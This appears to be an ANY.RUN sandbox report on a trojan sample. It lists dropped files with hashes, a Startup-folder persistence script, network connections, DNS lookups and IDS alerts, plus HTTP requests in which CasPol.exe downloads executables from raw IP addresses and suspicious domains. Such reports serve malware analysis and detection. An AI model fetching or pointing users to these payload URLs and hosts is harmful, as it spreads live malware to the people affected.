Operation:writeName:LanguageList
Value:
en-US
Executable files
47
Suspicious files
56
Text files
19
Unknown types
0

Dropped files

PID
Process
Filename
Type
584powershell.exeC:\Users\admin\AppData\Local\Temp\whsg3whd.uj3.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
1088CasPol.exeC:\Users\admin\AppData\Local\Temp\CabA8AA.tmpcompressed
MD5:F3441B8572AAE8801C04F3060B550443
SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF
1088CasPol.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SKzpki8Tqr48N3x5Yks7kgYz.battext
MD5:D26623166462B5C38F029F5172DA76D7
SHA256:175AD6A1C9F404C0B77B88F4B4B230506505104C28476FAE6CDF3C2449C60792
1088CasPol.exeC:\Users\admin\Pictures\Q55LBaQ0GHyj5hUM39vJpsbj.exehtml
MD5:FCAD815E470706329E4E327194ACC07C
SHA256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
584powershell.exeC:\Users\admin\AppData\Local\Temp\ol1wploz.hoa.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
1088CasPol.exeC:\Users\admin\AppData\Local\Temp\CabA8DB.tmpcompressed
MD5:F3441B8572AAE8801C04F3060B550443
SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF
1088CasPol.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:8786DDD44E34BB851B03E5BE460B43F8
SHA256:BFFC132BD5A3E054D63BE4152AB6BAAB4DE74405A7D5BD1E835AC922C1196C6B
1088CasPol.exeC:\Users\admin\AppData\Local\Temp\TarA8AB.tmpbinary
MD5:9441737383D21192400ECA82FDA910EC
SHA256:BC3A6E84E41FAEB57E7C21AA3B60C2A64777107009727C5B7C0ED8FE658909E5
1088CasPol.exeC:\Users\admin\AppData\Local\Temp\TarA8DC.tmpbinary
MD5:9441737383D21192400ECA82FDA910EC
SHA256:BC3A6E84E41FAEB57E7C21AA3B60C2A64777107009727C5B7C0ED8FE658909E5
584powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
64
TCP/UDP connections
57
DNS requests
31
Threats
116

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2160
mHMPa76o5Y1e2xa5vGD4kYCd.exe
GET
200
116.203.165.60:2087
http://116.203.165.60:2087/
unknown
—
—
unknown
1088
CasPol.exe
GET
200
95.140.236.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?56e02b563dbccaec
unknown
compressed
61.6 Kb
unknown
1088
CasPol.exe
GET
200
5.42.67.10:80
http://5.42.67.10/setupdownload.exe
unknown
executable
1.41 Mb
unknown
1088
CasPol.exe
GET
200
85.209.11.204:80
http://85.209.11.204/api/files/software/s5.exe
unknown
executable
326 Kb
unknown
1088
CasPol.exe
GET
200
89.191.234.21:80
http://gobo11fc.top/build.exe
unknown
executable
324 Kb
unknown
1088
CasPol.exe
GET
301
185.26.182.112:80
http://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767
unknown
html
162 b
unknown
1088
CasPol.exe
GET
200
194.49.94.67:80
http://194.49.94.67/files/My2.exe
unknown
executable
5.24 Mb
unknown
1088
CasPol.exe
GET
200
95.140.236.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?5bb5d7e14f221a81
unknown
compressed
61.6 Kb
unknown
1088
CasPol.exe
GET
200
95.140.236.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?4e8985cacbd3f720
unknown
compressed
61.6 Kb
unknown
1088
CasPol.exe
GET
200
95.140.236.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7ac514a272f19814
unknown
compressed
61.6 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1088
CasPol.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
1088
CasPol.exe
104.21.93.225:443
flyawayaero.net
CLOUDFLARENET
—
unknown
1088
CasPol.exe
194.49.94.85:443
632432.space
Enes Koken
DE
unknown
1088
CasPol.exe
104.21.32.208:443
lycheepanel.info
CLOUDFLARENET
—
unknown
1088
CasPol.exe
179.61.12.110:443
globalsystemperu.com
TECNOWEB PERU SAC
CL
unknown
1088
CasPol.exe
194.49.94.67:80
—
Enes Koken
DE
unknown
1088
CasPol.exe
85.209.11.204:80
—
LLC Baxet
RU
malicious
1088
CasPol.exe
5.42.67.10:80
—
CJSC Kolomna-Sviaz TV
RU
unknown
1088
CasPol.exe
185.26.182.112:80
net.geo.opera.com
Opera Software AS
—
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.68.143
  • 104.20.67.143
shared
flyawayaero.net
  • 104.21.93.225
  • 172.67.216.81
unknown
gobo11fc.top
  • 89.191.234.21
unknown
632432.space
  • 194.49.94.85
malicious
galandskiyher5.com
  • 95.214.26.28
malicious
lycheepanel.info
  • 104.21.32.208
  • 172.67.187.122
unknown
net.geo.opera.com
  • 185.26.182.112
  • 185.26.182.111
whitelisted
globalsystemperu.com
  • 179.61.12.110
unknown
yip.su
  • 188.114.97.3
  • 188.114.96.3
whitelisted
ctldl.windowsupdate.com
  • 95.140.236.128
  • 178.79.242.128
  • 95.140.236.0
whitelisted

Threats

PID
Process
Class
Message
324
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
324
svchost.exe
Potentially Bad Traffic
ET DNS Query for .su TLD (Soviet Union) Often Malware Related
1088
CasPol.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
1088
CasPol.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
1088
CasPol.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
1088
CasPol.exe
Potentially Bad Traffic
ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
1088
CasPol.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
1088
CasPol.exe
Misc activity
ET INFO Packed Executable Download
1088
CasPol.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1088
CasPol.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
13 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942